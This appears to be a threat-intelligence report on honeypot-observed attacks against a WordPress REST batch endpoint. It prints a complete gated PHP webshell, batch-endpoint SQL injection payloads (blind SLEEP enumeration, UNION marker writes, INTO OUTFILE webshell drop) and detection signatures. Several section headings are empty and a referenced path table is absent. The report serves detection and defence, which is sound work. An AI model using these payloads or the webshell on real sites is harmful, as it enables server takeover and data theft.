wp2shell — WordPress batch-endpoint exploitation

Executive summary

Most of what hits a freshly-disclosed WordPress vulnerability is noise: automated scanners checking whether an endpoint exists at all. One actor in our corpus went past that stage entirely. It landed a blind SQL injection through the endpoint and used it to write a working, secret-gated PHP webshell straight to the target's webroot, brute-forcing both the SQL column count and the webroot path along the way.

The traffic splits into three tiers by intent, roughly evenly between the first two: 193 requests (48%) are pure reachability probes with an empty payload, systematically fuzzing routing and encoding variants to see if the endpoint exists under a given WAF configuration; 184 requests (46%) are populated but non-SQL structural probes, including the batch-processor path-confusion primitive itself; and 25 requests (6%), from only 7 of the 42 source IPs, are active SQL injection attempts, ranging from a boolean sanity check, through a UNION-based response marker, to blind time-based table enumeration, up to the full webshell drop described above. Full-chain weaponized exploitation is rare in this corpus, one actor out of 42, but real, live, and ongoing.

Threat actor profile

This is scanner/exploit traffic, not a single coherent operator. The corpus shows several distinct clusters operating independently, at different sophistication tiers, likely unaware of each other.

Infrastructure analysis

Payload analysis

The webshell payload

The 94.154.172.142 UNION payload decodes to a minimal PHP webshell, gated behind a secret query parameter so a casual visitor or scanner hitting the dropped file directly won't trigger it:

<?php
if (isset($_GET['p']) && $_GET['p'] === 'okwp2s') {
    if (isset($_GET['c'])) {
        system(base64_decode($_GET['c']));
    } elseif (isset($_POST['c'])) {
        system(base64_decode($_POST['c']));
    }
    echo WP2S_ALIVE;
}
?>

Gate parameter p=okwp2s, command parameter c (base64-encoded, accepted via GET or POST), success marker WP2S_ALIVE echoed on a valid gated request regardless of whether c was supplied. That lets the operator confirm the drop landed before sending a real command.

Delivery: UNION column-count and webroot-path brute-forcing

The same actor tried six different INTO OUTFILE destinations, all writing the identical filename w2st.php, across six requests roughly 24 seconds apart: a systematic sweep of common webroot locations rather than a single targeted guess.

The varying trailing-NULL counts across attempts show the actor also brute-forcing the correct UNION column count for the target wp_posts-shaped query alongside the path: two unknowns solved simultaneously by an automated tool, not a single hand-crafted request.

The marker-only variant

Earlier the same day, before the full webshell attempt, the same actor sent a lighter-weight probe writing only a detection string, wp2shellOKMARKER, in place of the webshell body, apparently confirming write capability before committing to the full payload:

0) UNION SELECT 99999999,0,0,0,0,0x7770327368656c6c4f4b4d41524b4552,0,0,0x7075626c697368,0 -- -

The same marker-only technique, with a different column count (32 columns, marker at position 17), was sent to a different sensor via a different REST route (/wp/v2/categories instead of /wp/v2/posts) roughly two hours later, confirming the tooling isn't hardcoded to a single endpoint shape.

Observed TTPs — MITRE ATT&CK

Activity timeline

Exploit payloads

Tier 1 — reachability probing (empty body)

Fuzzing routing and encoding variants to check the endpoint is reachable under a given WAF/proxy configuration, with no actual exploit content:

GET /wp-json/batch/v1 body={"requests": []}
GET /index.php?rest_route=/batch/v1 body={"requests": []}
GET /?rest_route=%2Fbatch%2Fv1 body={"requests": []}
GET /?rest_route=/batch%2Fv1 body={"requests": []}
GET /wp-json/Batch/v1 body={"requests": []}

Tier 2 — batch-processor path-confusion primitive (CVE-2026-63030)

Three independent encodings of the same underlying validation/dispatch-confusion primitive, seen from three different source IPs — evidence of at least three separate tool implementations, not one shared script:

{"requests":[{"method":"POST","path":"///"}, ...]}          // 100.53.85.177, 162.128.185.98
{"requests":[{"method":"POST","path":"http://:"}, ...]}      // 94.154.172.142, 45.148.10.75
{"requests":[{"method":"POST","path":"http:///x"}, ...]}     // 195.178.110.247

Tier 3a — blind time-based SQLi (table enumeration)

45.148.10.75 extracting information_schema.TABLES character-by-character via a SLEEP()-conditional boolean oracle, filtering for a table matching %_posts:

0) UNION SELECT 1 FROM (SELECT ...) x WHERE
  (ASCII(SUBSTRING((SELECT TABLE_NAME FROM information_schema.TABLES
    WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%_posts'
    ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1),2,1))>=55)
  THEN SLEEP(0.35) ELSE 0 END

(Simplified for readability — the captured payload wraps this in the full batch-endpoint author_exclude parameter shape shown below.)

Tier 3b — UNION-based marker confirmation

{"requests":[
  {"method":"POST","path":"http://:"},
  {"method":"POST","path":"/wp/v2/posts","body":{
    "author_exclude":"0) UNION SELECT 99999999,0,0,0,0,0x7770327368656c6c4f4b4d41524b4552,0,0,0x7075626c697368,0 -- -",
    "per_page":400,"orderby":"none"
  }},
  {"method":"POST","path":"/wp/v2/media","body":{"n":0}}
]}

Decodes to wp2shellOKMARKER and publish — a confirmation write before committing to the full webshell.

Tier 3c — full webshell drop

{"requests":[
  {"method":"POST","path":"http://:"},
  {"method":"POST","path":"/wp/v2/posts","body":{
    "author_exclude":"0) UNION SELECT 9999999,0,0,0x3c3f70687020...203f3e,0,0,0,0,0 INTO OUTFILE 0x2f7661722f7777772f773273742e706870 LINES TERMINATED BY 0x0a -- -"
  }},
  {"method":"POST","path":"/wp/v2/media","body":{"n":0}}
]}

The hex blob decodes to the PHP webshell shown in Payload analysis; the INTO OUTFILE target decodes to one of the six webroot paths in that section's table.

Indicators of compromise

Network IOCs

WordPress-side artifacts

Mitigations and detection

Detection signatures

# Suricata/Snort — batch-endpoint path-confusion primitive (CVE-2026-63030)
alert http any any -> $HOME_NET any (msg:"wp2shell batch-endpoint path-confusion probe"; \
  content:"/batch/v1"; http_uri; \
  content:"path"; http_client_body; pcre:"/\"path\"\s*:\s*\"(\/\/\/|http:\/\/:|http:\/\/\/)/"; \
  flow:established,to_server; sid:9930001; rev:1;)

# Suricata/Snort — author_exclude SQLi through the batch endpoint (CVE-2026-60137)
alert http any any -> $HOME_NET any (msg:"wp2shell author_exclude SQLi attempt"; \
  content:"author_exclude"; http_client_body; nocase; \
  pcre:"/author_exclude.{0,20}(UNION\s+SELECT|SLEEP\(|INTO\s+OUTFILE)/i"; \
  flow:established,to_server; sid:9930002; rev:1;)

# Suricata — dropped webshell gate parameter
alert http any any -> $HOME_NET any (msg:"wp2shell webshell activation attempt"; \
  content:"p=okwp2s"; http_uri; \
  flow:established,to_server; sid:9930003; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes run an alternate-protocol lure that fingerprints as a WordPress core installation and captures unauthenticated exploitation attempts against commonly-targeted REST API routes, including the batch-processor endpoint used in this campaign.

The bait logs the full request an attacker sends but does not execute PHP, run a database, or write files — every payload described above is the attacker's captured request, not a confirmed successful compromise of our infrastructure. IP registration and ASN attribution was performed via live RDAP lookups; IP anonymization/infrastructure classification via a commercial IP-intelligence API. All event counts, timestamps, and payload contents in this report were queried directly from the fleet's event store at write time.